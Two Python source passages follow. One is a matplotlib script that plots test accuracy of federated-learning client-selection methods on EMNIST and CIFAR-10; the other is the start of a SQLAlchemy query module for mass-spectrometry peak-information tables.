x == 1: line = line.split() emnist_E3CS_0_non_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_E3CS_05_non_iid_p.txt"): emnist_E3CS_05_non_iid_p_file = open("output_emnist_E3CS_05_non_iid_p.txt") emnist_E3CS_05_non_iid_p = [] with emnist_E3CS_05_non_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_E3CS_05_non_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_E3CS_08_non_iid_p.txt"): emnist_E3CS_08_non_iid_p_file = open("output_emnist_E3CS_08_non_iid_p.txt") emnist_E3CS_08_non_iid_p = [] with emnist_E3CS_08_non_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_E3CS_08_non_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_emnist_E3CS_inc_non_iid_p.txt"): emnist_E3CS_inc_non_iid_p_file = open("output_emnist_E3CS_inc_non_iid_p.txt") emnist_E3CS_inc_non_iid_p = [] with emnist_E3CS_inc_non_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() emnist_E3CS_inc_non_iid_p.append(float(line[3]) / 100) else: x += 1 # make grahp plt.figure(4) plt.plot(round_t, emnist_E3CS_0_non_iid_p, "pink") plt.plot(round_t, emnist_E3CS_05_non_iid_p, 'b') plt.plot(round_t, emnist_E3CS_08_non_iid_p, 'c') plt.plot(round_t, emnist_E3CS_inc_non_iid_p, 'g') plt.plot(round_t, emnist_FedCS_non_iid_p, 'y') plt.plot(round_t, emnist_random_non_iid_p, 'orange') plt.plot(round_t, emnist_pow_d_non_iid_p, 'r') plt.xlabel('Communication Rounds') plt.ylabel('Test Accuracy') plt.title("EMNIST-Letter, non-iid, FedProx-based") plt.legend(["E3CS-0", "E3CS-05", "E3CS-08", "E3CS-inc", "FedCS", "Random", "pow-d"]) plt.show() # graph cifar, iid, FedAvg-based round_t = [] cifar_random_iid_a = [0] * 200 cifar_FedCS_iid_a = [0] * 200 cifar_pow_d_iid_a = [0] * 200 cifar_E3CS_0_iid_a = [0] * 200 cifar_E3CS_05_iid_a = [0] * 200 cifar_E3CS_08_iid_a = [0] * 200 cifar_E3CS_inc_iid_a = [0] * 200 if os.path.isfile("output_cifar_random_iid_a.txt"): cifar_random_iid_a_file = open("output_cifar_random_iid_a.txt") cifar_random_iid_a = [] with cifar_random_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_random_iid_a.append(float(line[3]) / 100) round_t.append(int(line[1])) else: x += 1 if os.path.isfile("output_cifar_FedCS_iid_a.txt"): cifar_FedCS_iid_a_file = open("output_cifar_FedCS_iid_a.txt") cifar_FedCS_iid_a = [] with cifar_FedCS_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_FedCS_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_pow-d_iid_a.txt"): cifar_pow_d_iid_a_file = open("output_cifar_pow-d_iid_a.txt") cifar_pow_d_iid_a = [] with cifar_pow_d_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_pow_d_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_E3CS_0_iid_a.txt"): cifar_E3CS_0_iid_a_file = open("output_cifar_E3CS_0_iid_a.txt") cifar_E3CS_0_iid_a = [] with cifar_E3CS_0_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_E3CS_0_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_E3CS_05_iid_a.txt"): cifar_E3CS_05_iid_a_file = open("output_cifar_E3CS_05_iid_a.txt") cifar_E3CS_05_iid_a = [] with cifar_E3CS_05_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_E3CS_05_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_E3CS_08_iid_a.txt"): cifar_E3CS_08_iid_a_file = open("output_cifar_E3CS_08_iid_a.txt") cifar_E3CS_08_iid_a = [] with cifar_E3CS_08_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_E3CS_08_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_E3CS_inc_iid_a.txt"): cifar_E3CS_inc_iid_a_file = open("output_cifar_E3CS_inc_iid_a.txt") cifar_E3CS_inc_iid_a = [] with cifar_E3CS_inc_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_E3CS_inc_iid_a.append(float(line[3]) / 100) else: x += 1 # make grahp plt.figure(5) plt.plot(round_t, cifar_E3CS_0_iid_a, "pink") plt.plot(round_t, cifar_E3CS_05_iid_a, 'b') plt.plot(round_t, cifar_E3CS_08_iid_a, 'c') plt.plot(round_t, cifar_E3CS_inc_iid_a, 'g') plt.plot(round_t, cifar_FedCS_iid_a, 'y') plt.plot(round_t, cifar_random_iid_a, 'orange') plt.plot(round_t, cifar_pow_d_iid_a, 'r') plt.xlabel('Communication Rounds') plt.ylabel('Test Accuracy') plt.title("cifar-10, iid, FedAvg-based") plt.legend(["E3CS-0", "E3CS-05", "E3CS-08", "E3CS-inc", "FedCS", "Random", "pow-d"]) plt.show() # graph cifar-Letter, non-iid, FedAvg-based cifar_random_non_iid_a = [0] * 200 cifar_FedCS_non_iid_a = [0] * 200 cifar_pow_d_non_iid_a = [0] * 200 cifar_E3CS_0_non_iid_a = [0] * 200 cifar_E3CS_05_non_iid_a = [0] * 200 cifar_E3CS_08_non_iid_a = [0] * 200 cifar_E3CS_inc_non_iid_a = [0] * 200 if os.path.isfile("output_cifar_random_non_iid_a.txt"): cifar_random_non_iid_a_file = open("output_cifar_random_non_iid_a.txt") cifar_random_non_iid_a = [] with cifar_random_non_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_random_non_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_FedCS_non_iid_a.txt"): cifar_FedCS_non_iid_a_file = open("output_cifar_FedCS_non_iid_a.txt") cifar_FedCS_non_iid_a = [] with cifar_FedCS_non_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_FedCS_non_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_pow-d_non_iid_a.txt"): cifar_pow_d_non_iid_a_file = open("output_cifar_pow-d_non_iid_a.txt") cifar_pow_d_non_iid_a = [] with cifar_pow_d_non_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_pow_d_non_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_E3CS_0_non_iid_a.txt"): cifar_E3CS_0_non_iid_a_file = open("output_cifar_E3CS_0_non_iid_a.txt") cifar_E3CS_0_non_iid_a = [] with cifar_E3CS_0_non_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_E3CS_0_non_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_E3CS_05_non_iid_a.txt"): cifar_E3CS_05_non_iid_a_file = open("output_cifar_E3CS_05_non_iid_a.txt") cifar_E3CS_05_non_iid_a = [] with cifar_E3CS_05_non_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_E3CS_05_non_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_E3CS_08_non_iid_a.txt"): cifar_E3CS_08_non_iid_a_file = open("output_cifar_E3CS_08_non_iid_a.txt") cifar_E3CS_08_non_iid_a = [] with cifar_E3CS_08_non_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_E3CS_08_non_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_E3CS_inc_non_iid_a.txt"): cifar_E3CS_inc_non_iid_a_file = open("output_cifar_E3CS_inc_non_iid_a.txt") cifar_E3CS_inc_non_iid_a = [] with cifar_E3CS_inc_non_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_E3CS_inc_non_iid_a.append(float(line[3]) / 100) else: x += 1 # make grahp plt.figure(6) plt.plot(round_t, cifar_E3CS_0_non_iid_a, "pink") plt.plot(round_t, cifar_E3CS_05_non_iid_a, 'b') plt.plot(round_t, cifar_E3CS_08_non_iid_a, 'c') plt.plot(round_t, cifar_E3CS_inc_non_iid_a, 'g') plt.plot(round_t, cifar_FedCS_non_iid_a, 'y') plt.plot(round_t, cifar_random_non_iid_a, 'orange') plt.plot(round_t, cifar_pow_d_non_iid_a, 'r') plt.xlabel('Communication Rounds') plt.ylabel('Test Accuracy') plt.title("cifar-10, iid, FedAvg-based") plt.legend(["E3CS-0", "E3CS-05", "E3CS-08", "E3CS-inc", "FedCS", "Random", "pow-d"]) plt.show() # graph cifar, iid, Fedprox-based cifar_random_iid_p = [0] * 200 cifar_FedCS_iid_p = [0] * 200 cifar_pow_d_iid_p = [0] * 200 cifar_E3CS_0_iid_p = [0] * 200 cifar_E3CS_05_iid_p = [0] * 200 cifar_E3CS_08_iid_p = [0] * 200 cifar_E3CS_inc_iid_p = [0] * 200 if os.path.isfile("output_cifar_random_iid_p.txt"): cifar_random_iid_p_file = open("output_cifar_random_iid_p.txt") cifar_random_iid_p = [] with cifar_random_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_random_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_FedCS_iid_p.txt"): cifar_FedCS_iid_p_file = open("output_cifar_FedCS_iid_p.txt") cifar_FedCS_iid_p = [] with cifar_FedCS_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_FedCS_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_pow-d_iid_p.txt"): cifar_pow_d_iid_p_file = open("output_cifar_pow-d_iid_p.txt") cifar_pow_d_iid_p = [] with cifar_pow_d_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_pow_d_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_E3CS_0_iid_p.txt"): cifar_E3CS_0_iid_p_file = open("output_cifar_E3CS_0_iid_p.txt") cifar_E3CS_0_iid_p = [] with cifar_E3CS_0_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_E3CS_0_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_E3CS_05_iid_p.txt"): cifar_E3CS_05_iid_p_file = open("output_cifar_E3CS_05_iid_p.txt") cifar_E3CS_05_iid_p = [] with cifar_E3CS_05_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_E3CS_05_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_E3CS_08_iid_p.txt"): cifar_E3CS_08_iid_p_file = open("output_cifar_E3CS_08_iid_p.txt") cifar_E3CS_08_iid_p = [] with cifar_E3CS_08_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_E3CS_08_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_E3CS_inc_iid_p.txt"): cifar_E3CS_inc_iid_p_file = open("output_cifar_E3CS_inc_iid_p.txt") cifar_E3CS_inc_iid_p = [] with cifar_E3CS_inc_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_E3CS_inc_iid_p.append(float(line[3]) / 100) else: x += 1 # make grahp plt.figure(7) plt.plot(round_t, cifar_E3CS_0_iid_p, "pink") plt.plot(round_t, cifar_E3CS_05_iid_p, 'b') plt.plot(round_t, cifar_E3CS_08_iid_p, 'c') plt.plot(round_t, cifar_E3CS_inc_iid_p, 'g') plt.plot(round_t, cifar_FedCS_iid_p, 'y') plt.plot(round_t, cifar_random_iid_p, 'orange') plt.plot(round_t, cifar_pow_d_iid_p, 'r') plt.xlabel('Communication Rounds') plt.ylabel('Test Accuracy') plt.title("cifar-10, iid, FedProx-based") plt.legend(["E3CS-0", "E3CS-05", "E3CS-08", "E3CS-inc", "FedCS", "Random", "pow-d"]) plt.show() # graph cifar-Letter, non-iid, FedProx-based cifar_random_non_iid_p = [0] * 200 cifar_FedCS_non_iid_p = [0] * 200 cifar_pow_d_non_iid_p = [0] * 200 cifar_E3CS_0_non_iid_p = [0] * 200 cifar_E3CS_05_non_iid_p = [0] * 200 cifar_E3CS_08_non_iid_p = [0] * 200 cifar_E3CS_inc_non_iid_p = [0] * 200 if os.path.isfile("output_cifar_random_non_iid_p.txt"): cifar_random_non_iid_p_file = open("output_cifar_random_non_iid_p.txt") cifar_random_non_iid_p = [] with cifar_random_non_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_random_non_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_FedCS_non_iid_p.txt"): cifar_FedCS_non_iid_p_file = open("output_cifar_FedCS_non_iid_p.txt") cifar_FedCS_non_iid_p = [] with cifar_FedCS_non_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_FedCS_non_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_pow-d_non_iid_p.txt"): cifar_pow_d_non_iid_p_file = open("output_cifar_pow-d_non_iid_p.txt") cifar_pow_d_non_iid_p = [] with cifar_pow_d_non_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_pow_d_non_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_E3CS_0_non_iid_p.txt"): cifar_E3CS_0_non_iid_p_file = open("output_cifar_E3CS_0_non_iid_p.txt") cifar_E3CS_0_non_iid_p = [] with cifar_E3CS_0_non_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_E3CS_0_non_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_E3CS_05_non_iid_p.txt"): cifar_E3CS_05_non_iid_p_file = open("output_cifar_E3CS_05_non_iid_p.txt") cifar_E3CS_05_non_iid_p = [] with cifar_E3CS_05_non_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_E3CS_05_non_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_E3CS_08_non_iid_p.txt"): cifar_E3CS_08_non_iid_p_file = open("output_cifar_E3CS_08_non_iid_p.txt") cifar_E3CS_08_non_iid_p = [] with cifar_E3CS_08_non_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_E3CS_08_non_iid_p.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_E3CS_inc_non_iid_p.txt"): cifar_E3CS_inc_non_iid_p_file = open("output_cifar_E3CS_inc_non_iid_p.txt") cifar_E3CS_inc_non_iid_p = [] with cifar_E3CS_inc_non_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_E3CS_inc_non_iid_p.append(float(line[3]) / 100) else: x += 1 # make grahp plt.figure(8) plt.plot(round_t, cifar_E3CS_0_non_iid_p, "pink") plt.plot(round_t, cifar_E3CS_05_non_iid_p, 'b') plt.plot(round_t, cifar_E3CS_08_non_iid_p, 'c') plt.plot(round_t, cifar_E3CS_inc_non_iid_p, 'g') plt.plot(round_t, cifar_FedCS_non_iid_p, 'y') plt.plot(round_t, cifar_random_non_iid_p, 'orange') plt.plot(round_t, cifar_pow_d_non_iid_p, 'r') plt.xlabel('Communication Rounds') plt.ylabel('Test Accuracy') plt.title("cifar-10, non-iid, FedProx-based") plt.legend(["E3CS-0", "E3CS-05", "E3CS-08", "E3CS-inc", "FedCS", "Random", "pow-d"]) plt.show() # graph cifar-Letter, non-iid, FedProx-based cifar_pow_d_30_non_iid_a = [0] * 200 cifar_pow_d_50_non_iid_a = [0] * 200 cifar_pow_d_70_non_iid_a = [0] * 200 if os.path.isfile("output_cifar_pow-d=30_iid_a.txt"): cifar_pow_d_30_non_iid_p_file = open("output_cifar_pow-d=30_iid_a.txt") cifar_pow_d_30_non_iid_a = [] with cifar_pow_d_30_non_iid_p_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_pow_d_30_non_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_pow-d=50_iid_a.txt"): cifar_pow_d_50_iid_a_file = open("output_cifar_pow-d=50_iid_a.txt") cifar_pow_d_50_non_iid_a = [] with cifar_pow_d_50_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_pow_d_50_non_iid_a.append(float(line[3]) / 100) else: x += 1 if os.path.isfile("output_cifar_pow-d=70_iid_a.txt"): cifar_pow_d_70_iid_a_file = open("output_cifar_pow-d=70_iid_a.txt") cifar_pow_d_70_non_iid_a = [] with cifar_pow_d_50_iid_a_file as file: lines = file.readlines() x = 0 for line in lines: if x == 1: line = line.split() cifar_pow_d_70_non_iid_a.append(float(line[3]) / 100) else: x += 1 # make grahp plt.figure(9) plt.plot(round_t, cifar_pow_d_30_non_iid_a, "pink") plt.plot(round_t, cifar_pow_d_50_non_iid_a, 'b') plt.plot(round_t, cifar_pow_d_70_non_iid_a, 'c') plt.xlabel('Communication Rounds') plt.ylabel('Test Accuracy') plt.title("cifar-10, iid, FedAvg-based ") plt.legend(["pow-d=30", "pow-d=50", "pow-d=70"]) plt.show() # Press the green button in the gutter to run the script. if __name__ == '__main__': graph() # See PyCharm help at https://www.jetbrains.com/help/pycharm/

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c15e1e68b417c22602fac4356852de590f27209c

21,242

py

Python

SBaaS_quantification/stage01_quantification_peakInformation_query.py

dmccloskey/SBaaS_quantification

b2a9c7a9a0d318f22ff20e311f94c213852ba914

[ "MIT" ]

null

SBaaS_quantification/stage01_quantification_peakInformation_query.py

dmccloskey/SBaaS_quantification

b2a9c7a9a0d318f22ff20e311f94c213852ba914

[ "MIT" ]

null

SBaaS_quantification/stage01_quantification_peakInformation_query.py

dmccloskey/SBaaS_quantification

b2a9c7a9a0d318f22ff20e311f94c213852ba914

[ "MIT" ]

null

from .stage01_quantification_peakInformation_postgresql_models import * from SBaaS_base.sbaas_base_query_update import sbaas_base_query_update from SBaaS_base.sbaas_base_query_drop import sbaas_base_query_drop from SBaaS_base.sbaas_base_query_initialize import sbaas_base_query_initialize from SBaaS_base.sbaas_base_query_insert import sbaas_base_query_insert from SBaaS_base.sbaas_base_query_select import sbaas_base_query_select from SBaaS_base.sbaas_base_query_delete import sbaas_base_query_delete from SBaaS_base.sbaas_template_query import sbaas_template_query class stage01_quantification_peakInformation_query(sbaas_template_query): def initialize_supportedTables(self): '''Set the supported tables dict for ''' tables_supported = {'data_stage01_quantification_peakInformation':data_stage01_quantification_peakInformation, 'data_stage01_quantification_peakResolution':data_stage01_quantification_peakResolution, }; self.set_supportedTables(tables_supported); # Query peakInfo_parameter from data_stage01_quantificaton_peakInformation def get_peakInfoParameter_experimentID_dataStage01PeakInformation(self,experiment_id_I): '''Query component_names that are used for the experiment''' try: names = self.session.query(data_stage01_quantification_peakInformation.peakInfo_parameter).filter( data_stage01_quantification_peakInformation.experiment_id.like(experiment_id_I), data_stage01_quantification_peakInformation.used_.is_(True)).group_by( data_stage01_quantification_peakInformation.component_name).order_by( data_stage01_quantification_peakInformation.component_name.asc()).all(); names_O = []; for n in names: names_O.append(n.peakInfo_parameter); return names_O; except SQLAlchemyError as e: print(e); # Query data from data_stage01_quantification_peakInformation def get_row_experimentIDAndComponentName_dataStage01PeakInformation(self, experiment_id_I, component_name_I): """Query rows""" try: data = self.session.query(data_stage01_quantification_peakInformation).filter( data_stage01_quantification_peakInformation.experiment_id.like(experiment_id_I), data_stage01_quantification_peakInformation.component_name.like(component_name_I), data_stage01_quantification_peakInformation.used_.is_(True)).all(); data_O = {}; if len(data)>1: print('more than 1 calculated_concentration retrieved per component_name') if data: for d in data: data_O = {'experiment_id':d.experiment_id, 'component_group_name':d.component_group_name, 'component_name':d.component_name, 'peakInfo_parameter':d.peakInfo_parameter, 'peakInfo_ave':d.peakInfo_ave, 'peakInfo_cv':d.peakInfo_cv, 'peakInfo_lb':d.peakInfo_lb, 'peakInfo_ub':d.peakInfo_ub, 'peakInfo_units':d.peakInfo_units, 'sample_names':d.sample_names, 'sample_types':d.sample_types, 'acqusition_date_and_times':d.acqusition_date_and_times, 'peakInfo_data':d.peakInfo_data}; return data_O; except SQLAlchemyError as e: print(e); def get_row_experimentIDAndPeakInfoParameterComponentName_dataStage01PeakInformation(self, experiment_id_I, peakInfo_parameter_I, component_name_I): """Query rows""" try: data = self.session.query(data_stage01_quantification_peakInformation).filter( data_stage01_quantification_peakInformation.experiment_id.like(experiment_id_I), data_stage01_quantification_peakInformation.component_name.like(component_name_I), data_stage01_quantification_peakInformation.peakInfo_parameter.like(peakInfo_parameter_I), data_stage01_quantification_peakInformation.used_.is_(True)).all(); data_O = {}; if len(data)>1: print('more than 1 calculated_concentration retrieved per component_name') if data: for d in data: data_O = {'experiment_id':d.experiment_id, 'component_group_name':d.component_group_name, 'component_name':d.component_name, 'peakInfo_parameter':d.peakInfo_parameter, 'peakInfo_ave':d.peakInfo_ave, 'peakInfo_cv':d.peakInfo_cv, 'peakInfo_lb':d.peakInfo_lb, 'peakInfo_ub':d.peakInfo_ub, 'peakInfo_units':d.peakInfo_units, 'sample_names':d.sample_names, 'sample_types':d.sample_types, 'acqusition_date_and_times':d.acqusition_date_and_times, 'peakInfo_data':d.peakInfo_data}; return data_O; except SQLAlchemyError as e: print(e); def get_row_analysisID_dataStage01PeakInformation( self, analysis_id_I=[], experiment_id_I=[], peakInfo_parameter_I=[], component_name_I=[], component_group_name_I=[], sample_name_abbreviation_I=[] ): """Query rows""" try: cmd = '''SELECT "data_stage01_quantification_peakInformation"."id", "data_stage01_quantification_peakInformation"."analysis_id", "data_stage01_quantification_peakInformation"."experiment_id", "data_stage01_quantification_peakInformation"."component_group_name", "data_stage01_quantification_peakInformation"."component_name", "data_stage01_quantification_peakInformation"."peakInfo_parameter", "data_stage01_quantification_peakInformation"."peakInfo_n", "data_stage01_quantification_peakInformation"."peakInfo_ave", "data_stage01_quantification_peakInformation"."peakInfo_cv", "data_stage01_quantification_peakInformation"."peakInfo_lb", "data_stage01_quantification_peakInformation"."peakInfo_ub", "data_stage01_quantification_peakInformation"."peakInfo_units", "data_stage01_quantification_peakInformation"."sample_names", "data_stage01_quantification_peakInformation"."sample_name_abbreviation", "data_stage01_quantification_peakInformation"."sample_types", "data_stage01_quantification_peakInformation"."acqusition_date_and_times", "data_stage01_quantification_peakInformation"."peakInfo_data", "data_stage01_quantification_peakInformation"."used_", "data_stage01_quantification_peakInformation"."comment_" ''' cmd += ''' FROM "data_stage01_quantification_peakInformation" ''' cmd += '''WHERE "data_stage01_quantification_peakInformation"."used_" ''' if analysis_id_I: cmd_q = '''AND "data_stage01_quantification_peakInformation".analysis_id =ANY ('{%s}'::text[]) '''%( self.convert_list2string(analysis_id_I)); cmd+=cmd_q; if experiment_id_I: cmd_q = '''AND "data_stage01_quantification_peakInformation".experiment_id =ANY ('{%s}'::text[]) '''%( self.convert_list2string(experiment_id_I)); cmd+=cmd_q; if peakInfo_parameter_I: cmd_q = '''AND "data_stage01_quantification_peakInformation"."peakInfo_parameter" =ANY ('{%s}'::text[]) '''%( self.convert_list2string(peakInfo_parameter_I)); cmd+=cmd_q; #if sample_name_I: # cmd_q = '''AND "data_stage01_quantification_peakInformation".sample_name =ANY ('{%s}'::text[]) '''%( # self.convert_list2string(sample_name_I)); # cmd+=cmd_q; #if sample_id_I: # cmd_q = '''AND "data_stage01_quantification_peakInformation".sample_id =ANY ('{%s}'::text[]) '''%( # self.convert_list2string(sample_id_I)); # cmd+=cmd_q; if sample_name_abbreviation_I: cmd_q = '''AND "data_stage01_quantification_peakInformation".sample_name_abbreviation =ANY ('{%s}'::text[]) '''%( self.convert_list2string(sample_name_abbreviation_I)); cmd+=cmd_q; if component_name_I: cmd_q = '''AND "data_stage01_quantification_peakInformation".component_name_I =ANY ('{%s}'::text[]) '''%( self.convert_list2string(component_name_I)); cmd+=cmd_q; if component_group_name_I: cmd_q = '''AND "data_stage01_quantification_peakInformation".component_group_name_I =ANY ('{%s}'::text[]) '''%( self.convert_list2string(component_group_name_I)); cmd+=cmd_q; #if sample_type_I: # cmd_q = '''AND "data_stage01_quantification_peakInformation".sample_type =ANY ('{%s}'::text[]) '''%( # self.convert_list2string(sample_type_I)); # cmd+=cmd_q; #if acquisition_date_and_time_I and not acquisition_date_and_time_I[0] is None: # cmd_q = '''AND "data_stage01_quantification_peakInformation".acquisition_date_and_time >= %s'''%( # acquisition_date_and_time_I[0]); # cmd+=cmd_q; # cmd_q = '''AND "data_stage01_quantification_peakInformation".acquisition_date_and_time <= %s'''%( # acquisition_date_and_time_I[1]); # cmd+=cmd_q; cmd += ''' ORDER BY "data_stage01_quantification_peakInformation"."analysis_id" ASC, "data_stage01_quantification_peakInformation"."experiment_id" ASC, "data_stage01_quantification_peakInformation"."sample_name_abbreviation" ASC, "data_stage01_quantification_peakInformation"."component_group_name" ASC, "data_stage01_quantification_peakInformation"."component_name" ASC, "data_stage01_quantification_peakInformation"."peakInfo_parameter" ASC; ''' result = self.session.execute(cmd); data = result.fetchall(); data_O = [dict(d) for d in data]; return data_O; except SQLAlchemyError as e: print(e); # Query component_names from data_stage01_quantificaton_peakInformation def get_componentNames_experimentID_dataStage01PeakInformation(self,experiment_id_I): '''Query component_names that are used for the experiment''' try: names = self.session.query(data_stage01_quantification_peakInformation.component_name).filter( data_stage01_quantification_peakInformation.experiment_id.like(experiment_id_I), data_stage01_quantification_peakInformation.used_.is_(True)).group_by( data_stage01_quantification_peakInformation.component_name).order_by( data_stage01_quantification_peakInformation.component_name.asc()).all(); names_O = []; for n in names: names_O.append(n.component_name); return names_O; except SQLAlchemyError as e: print(e); def get_componentNames_experimentIDAndPeakInfoParameter_dataStage01PeakInformation(self,experiment_id_I,peakInfo_parameter_I): '''Query component_names that are used for the experiment''' try: names = self.session.query(data_stage01_quantification_peakInformation.component_name).filter( data_stage01_quantification_peakInformation.experiment_id.like(experiment_id_I), data_stage01_quantification_peakInformation.peakInfo_parameter.like(peakInfo_parameter_I), data_stage01_quantification_peakInformation.used_.is_(True)).group_by( data_stage01_quantification_peakInformation.component_name).order_by( data_stage01_quantification_peakInformation.component_name.asc()).all(); names_O = []; for n in names: names_O.append(n.component_name); return names_O; except SQLAlchemyError as e: print(e); # Query peakInfo_parameter from data_stage01_quantification_peakResolution def get_peakInfoParameter_experimentID_dataStage01PeakResolution(self,experiment_id_I): '''Query component_names that are used for the experiment''' try: names = self.session.query(data_stage01_quantification_peakResolution.peakInfo_parameter).filter( data_stage01_quantification_peakResolution.experiment_id.like(experiment_id_I), data_stage01_quantification_peakResolution.used_.is_(True)).group_by( data_stage01_quantification_peakResolution.component_name).order_by( data_stage01_quantification_peakResolution.component_name.asc()).all(); names_O = []; for n in names: names_O.append(n.peakInfo_parameter); return names_O; except SQLAlchemyError as e: print(e); # Query data from data_stage01_quantification_peakResolution def get_row_experimentIDAndComponentName_dataStage01PeakResolution(self, experiment_id_I, component_name_I): """Query rows""" try: data = self.session.query(data_stage01_quantification_peakResolution).filter( data_stage01_quantification_peakResolution.experiment_id.like(experiment_id_I), data_stage01_quantification_peakResolution.component_name.like(component_name_I), data_stage01_quantification_peakResolution.used_.is_(True)).all(); data_O = {}; if len(data)>1: print('more than 1 calculated_concentration retrieved per component_name') if data: for d in data: data_O = {'experiment_id':d.experiment_id, 'component_group_name_pair':d.component_group_name_pair, 'component_name_pair':d.component_name_pair, 'peakInfo_parameter':d.peakInfo_parameter, 'peakInfo_ave':d.peakInfo_ave, 'peakInfo_cv':d.peakInfo_cv, 'peakInfo_lb':d.peakInfo_lb, 'peakInfo_ub':d.peakInfo_ub, 'peakInfo_units':d.peakInfo_units, 'sample_names':d.sample_names, 'sample_types':d.sample_types, 'acqusition_date_and_times':d.acqusition_date_and_times, 'peakInfo_data':d.peakInfo_data}; return data_O; except SQLAlchemyError as e: print(e); def get_row_experimentIDAndPeakInfoParameterComponentName_dataStage01PeakResolution(self, experiment_id_I, peakInfo_parameter_I, component_name_pair_I): """Query rows""" try: data = self.session.query(data_stage01_quantification_peakResolution).filter( data_stage01_quantification_peakResolution.experiment_id.like(experiment_id_I), data_stage01_quantification_peakResolution.component_name_pair.any(component_name_pair_I[0]), data_stage01_quantification_peakResolution.component_name_pair.any(component_name_pair_I[1]), data_stage01_quantification_peakResolution.peakInfo_parameter.like(peakInfo_parameter_I), data_stage01_quantification_peakResolution.used_.is_(True)).all(); data_O = {}; if len(data)>1: print('more than 1 calculated_concentration retrieved per component_name') if data: for d in data: data_O = {'experiment_id':d.experiment_id, 'component_group_name_pair':d.component_group_name_pair, 'component_name_pair':d.component_name_pair, 'peakInfo_parameter':d.peakInfo_parameter, 'peakInfo_ave':d.peakInfo_ave, 'peakInfo_cv':d.peakInfo_cv, 'peakInfo_lb':d.peakInfo_lb, 'peakInfo_ub':d.peakInfo_ub, 'peakInfo_units':d.peakInfo_units, 'sample_names':d.sample_names, 'sample_types':d.sample_types, 'acqusition_date_and_times':d.acqusition_date_and_times, 'peakInfo_data':d.peakInfo_data}; return data_O; except SQLAlchemyError as e: print(e); # Query component_names from data_stage01_quantification_peakResolution def get_componentNamePairs_experimentID_dataStage01PeakResolution(self,experiment_id_I): '''Query component_names that are used for the 